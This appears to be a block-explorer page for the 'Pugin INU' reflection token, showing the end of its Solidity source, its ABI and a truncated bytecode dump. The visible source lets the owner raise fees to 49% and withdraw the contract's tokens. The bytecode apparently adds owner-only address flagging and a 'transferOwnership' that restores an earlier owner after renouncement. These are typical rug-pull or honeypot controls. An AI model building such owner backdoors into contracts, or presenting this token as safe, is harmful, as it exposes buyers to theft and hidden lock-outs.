        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTaxFee() private view returns(uint256) {
        return _taxFee;
    }

    function _getMaxTxAmount() private view returns(uint256) {
        return _maxTxAmount;
    }

    function _setTaxFee(uint256 taxFee) external onlyOwner() {
        require(taxFee >= 1 && taxFee <= 49, 'taxFee should be in 1 - 49');
        _taxFee = taxFee;
    }

    function _setMarketingFee(uint256 marketingFee) external onlyOwner() {
        require(marketingFee >= 1 && marketingFee <= 49, 'marketingFee should be in 1 - 11');
        _marketingFee = marketingFee;
    }

    function _setLiquidityFee(uint256 liquidityFee) external onlyOwner() {
        require(liquidityFee >= 1 && liquidityFee <= 49, 'liquidityFee should be in 1 - 11');
        _liquidityFee = liquidityFee;
    }

    function _setNumTokensSellToAddToLiquidity(uint256 numTokensSellToAddToLiquidity) external onlyOwner() {
        require(numTokensSellToAddToLiquidity >= 10**9 , 'numTokensSellToAddToLiquidity should be greater than total 1e9');
        _numTokensSellToAddToLiquidity = numTokensSellToAddToLiquidity;
    }

    function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= 10**9 , 'maxTxAmount should be greater than total 1e9');
        _maxTxAmount = maxTxAmount;
    }

    function recoverTokens(uint256 tokenAmount) public virtual onlyOwner() {
        _approve(address(this), owner(), tokenAmount);
        _transfer(address(this), owner(), tokenAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"factory","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"_setLiquidityFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"}],"name":"_setMarketingFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"_setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"numTokensSellToAddToLiquidity","type":"uint256"}],"name":"_setNumTokensSellToAddToLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"_setTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beginSwapAndLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manualTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"recoverTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"swapETHforToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapv2Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapv2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600a60006101000a81548160ff0219169083151502179055506040518060400160405280600981526020017f507567696e20494e550000000000000000000000000000000000000000000000815250600f90805190602001906200006c92919062000caf565b506040518060400160405280600681526020017f505547494e55000000000000000000000000000000000000000000000000000081525060109080519060200190620000ba92919062000caf565b506009601160006101000a81548160ff021916908360ff1602179055506002601255600160135560016014556012546015556013546016556014546017556000601b60146101000a81548160ff02191690831515021790555068056bc75e2d63100000601c55670de0b6b3a7640000601d553480156200013957600080fd5b506040516200499338038062004993833981810160405260408110156200015f57600080fd5b81019080805190602001909291908051906020019092919050505060006200018c6200062460201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555068056bc75e2d63100000600e81905550600e5460001981620002ca57fe5b0660001903600b81905550620002fa6103e868056bc75e2d631000006200062c60201b620028dc1790919060201c565b600c8190555068056bc75e2d63100000600460006200031e6200062460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200036c6200062460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040518082815260200191505060405180910390a36200043260026000620003eb6200062460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620006b760201b60201c565b60036000620004466200062460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760006200049a6200062460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009620004fd6200062460201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000620005736200074c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000d55565b600033905090565b600080831415620006415760009050620006b1565b60008284029050828482816200065357fe5b0414620006ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180620049726021913960400191505060405180910390fd5b809150505b92915050565b6000600b5482111562000716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018062004948602a913960400191505060405180910390fd5b6000620007286200077560201b60201c565b9050620007448184620007af60201b620029621790919060201c565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060006200078a6200080160201b60201c565b91509150620007a88183620007af60201b620029621790919060201c565b9250505090565b6000620007f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000ace60201b60201c565b905092915050565b6000806000600b549050600068056bc75e2d63100000905060005b60098054905081101562000a7a578260026000600984815481106200083d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620009265750816003600060098481548110620008be57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156200094657600b5468056bc75e2d631000009450945050505062000aca565b620009d760026000600984815481106200095c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548462000b9960201b620029ac1790919060201c565b925062000a6a6003600060098481548110620009ef57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548362000b9960201b620029ac1790919060201c565b915080806001019150506200081c565b5062000aa068056bc75e2d63100000600b54620007af60201b620029621790919060201c565b82101562000ac157600b5468056bc75e2d6310000093509350505062000aca565b81819350935050505b9091565b6000808311829062000b7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101562000b4257808201518184015260208101905062000b25565b50505050905090810190601f16801562000b705780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858162000b8b57fe5b049050809150509392505050565b600062000be383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000beb60201b60201c565b905092915050565b600083831115829062000c9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101562000c6057808201518184015260208101905062000c43565b50505050905090810190601f16801562000c8e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1062000cf257805160ff191683800117855562000d23565b8280016001018555821562000d23579182015b8281111562000d2257825182559160200191906001019062000d05565b5b50905062000d32919062000d36565b5090565b5b8082111562000d5157600081600090555060010162000d37565b5090565b613be38062000d656000396000f3fe6080604052600436106101fd5760003560e01c80635880b8731161010d57806395d89b41116100a0578063a9059cbb1161006f578063a9059cbb14610b1d578063af9549e014610b8e578063bcd6d44614610beb578063cbc740aa14610c26578063dd62ed3e14610c6757610204565b806395d89b41146109a0578063a457c2d714610a30578063a52fe9bb14610aa1578063a55626cb14610adc57610204565b80637a997d7e116100dc5780637a997d7e1461087a578063880ad0af146108e157806388f82020146108f85780638da5cb5b1461095f57610204565b80635880b873146107385780635de9ca9f1461077357806370a08231146107c457806377dd50e31461082957610204565b806330599fc511610190578063395093511161015f57806339509351146105875780634549b039146105f85780634a74bb021461065357806352390c02146106805780635342acb4146106d157610204565b806330599fc5146104b6578063313ce567146104f15780633685d4191461051f578063373f0a041461057057610204565b80631bbae6e0116101cc5780631bbae6e0146103605780631decaadc1461039b57806323b872dd146103d65780632d8381191461046757610204565b806306fdde0314610209578063095ea7b31461029957806313114a9d1461030a57806318160ddd1461033557610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610cec565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025e578082015181840152602081019050610243565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a557600080fd5b506102f2600480360360408110156102bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8e565b60405180821515815260200191505060405180910390f35b34801561031657600080fd5b5061031f610dac565b6040518082815260200191505060405180910390f35b34801561034157600080fd5b5061034a610db6565b6040518082815260200191505060405180910390f35b34801561036c57600080fd5b506103996004803603602081101561038357600080fd5b8101908080359060200190929190505050610dc7565b005b3480156103a757600080fd5b506103d4600480360360208110156103be57600080fd5b8101908080359060200190929190505050610ef6565b005b3480156103e257600080fd5b5061044f600480360360608110156103f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611025565b60405180821515815260200191505060405180910390f35b34801561047357600080fd5b506104a06004803603602081101561048a57600080fd5b81019080803590602001909291905050506110fe565b6040518082815260200191505060405180910390f35b3480156104c257600080fd5b506104ef600480360360208110156104d957600080fd5b8101908080359060200190929190505050611182565b005b3480156104fd57600080fd5b50610506611271565b604051808260ff16815260200191505060405180910390f35b34801561052b57600080fd5b5061056e6004803603602081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611288565b005b34801561057c57600080fd5b50610585611612565b005b34801561059357600080fd5b506105e0600480360360408110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611734565b60405180821515815260200191505060405180910390f35b34801561060457600080fd5b5061063d6004803603604081101561061b57600080fd5b81019080803590602001909291908035151590602001909291905050506117e7565b6040518082815260200191505060405180910390f35b34801561065f57600080fd5b506106686118a5565b60405180821515815260200191505060405180910390f35b34801561068c57600080fd5b506106cf600480360360208110156106a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118bc565b005b3480156106dd57600080fd5b50610720600480360360208110156106f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c6f565b60405180821515815260200191505060405180910390f35b34801561074457600080fd5b506107716004803603602081101561075b57600080fd5b8101908080359060200190929190505050611cc5565b005b34801561077f57600080fd5b506107c26004803603602081101561079657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b005b3480156107d057600080fd5b50610813600480360360208110156107e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f3e565b6040518082815260200191505060405180910390f35b34801561083557600080fd5b506108786004803603602081101561084c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f87565b005b34801561088657600080fd5b506108c96004803603602081101561089d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120aa565b60405180821515815260200191505060405180910390f35b3480156108ed57600080fd5b506108f6612100565b005b34801561090457600080fd5b506109476004803603602081101561091b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612226565b60405180821515815260200191505060405180910390f35b34801561096b57600080fd5b5061097461227c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ac57600080fd5b506109b56122a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f55780820151818401526020810190506109da565b50505050905090810190601f168015610a225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a3c57600080fd5b50610a8960048036036040811015610a5357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612347565b60405180821515815260200191505060405180910390f35b348015610aad57600080fd5b50610ada60048036036020811015610ac457600080fd5b8101908080359060200190929190505050612414565b005b348015610ae857600080fd5b50610af161256a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2957600080fd5b50610b7660048036036040811015610b4057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612594565b60405180821515815260200191505060405180910390f35b348015610b9a57600080fd5b50610be960048036036040811015610bb157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506125b2565b005b348015610bf757600080fd5b50610c2460048036036020811015610c0e57600080fd5b81019080803590602001909291905050506126d5565b005b348015610c3257600080fd5b50610c3b61282b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c7357600080fd5b50610cd660048036036040811015610c8a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612855565b6040518082815260200191505060405180910390f35b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d845780601f10610d5957610100808354040283529160200191610d84565b820191906000526020600020905b815481529060010190602001808311610d6757829003601f168201915b5050505050905090565b6000610da2610d9b6129f6565b84846129fe565b6001905092915050565b6000600d54905090565b600068056bc75e2d63100000905090565b610dcf6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015610eec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613a42602c913960400191505060405180910390fd5b80601c8190555050565b610efe6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca0081101561101b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180613b29603e913960400191505060405180910390fd5b80601d8190555050565b6000611032848484612bf5565b6110f38461103e6129f6565b6110ee85604051806060016040528060288152602001613a8f60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006110a46129f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133579092919063ffffffff16565b6129fe565b600190509392505050565b6000600b5482111561115b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806139d0602a913960400191505060405180910390fd5b6000611165613417565b905061117a818461296290919063ffffffff16565b915050919050565b61118a6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61125c3061125661227c565b836129fe565b61126e3061126861227c565b83612bf5565b50565b6000601160009054906101000a900460ff16905090565b6112906129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b60098054905081101561160e578173ffffffffffffffffffffffffffffffffffffffff166009828154811061144357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116015760096001600980549050038154811061149f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600982815481106114d757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060098054806115c757fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561160e565b8080600101915050611412565b5050565b61161a6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600a60009054906101000a900460ff1615151415611716576000600a60006101000a81548160ff021916908315150217905550611732565b6001600a60006101000a81548160ff0219169083151502179055505b565b60006117dd6117416129f6565b846117d885600560006117526129f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344290919063ffffffff16565b6129fe565b6001905092915050565b600068056bc75e2d63100000831115611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611888576000611878846134ca565b505050505090508091505061189f565b6000611893846134ca565b50505050915050809150505b92915050565b6000600a60009054906101000a900460ff16905090565b6118c46129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611984576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613b676022913960400191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611add576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611bb157611b6d600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fe565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611ccd6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015611d9f575060318111155b611e11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20343900000000000081525060200191505060405180910390fd5b8060128190555050565b611e236129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ee3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611f8f6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461204f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f6f776e6572206973207a65726f2061646472657373000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffffffffffffff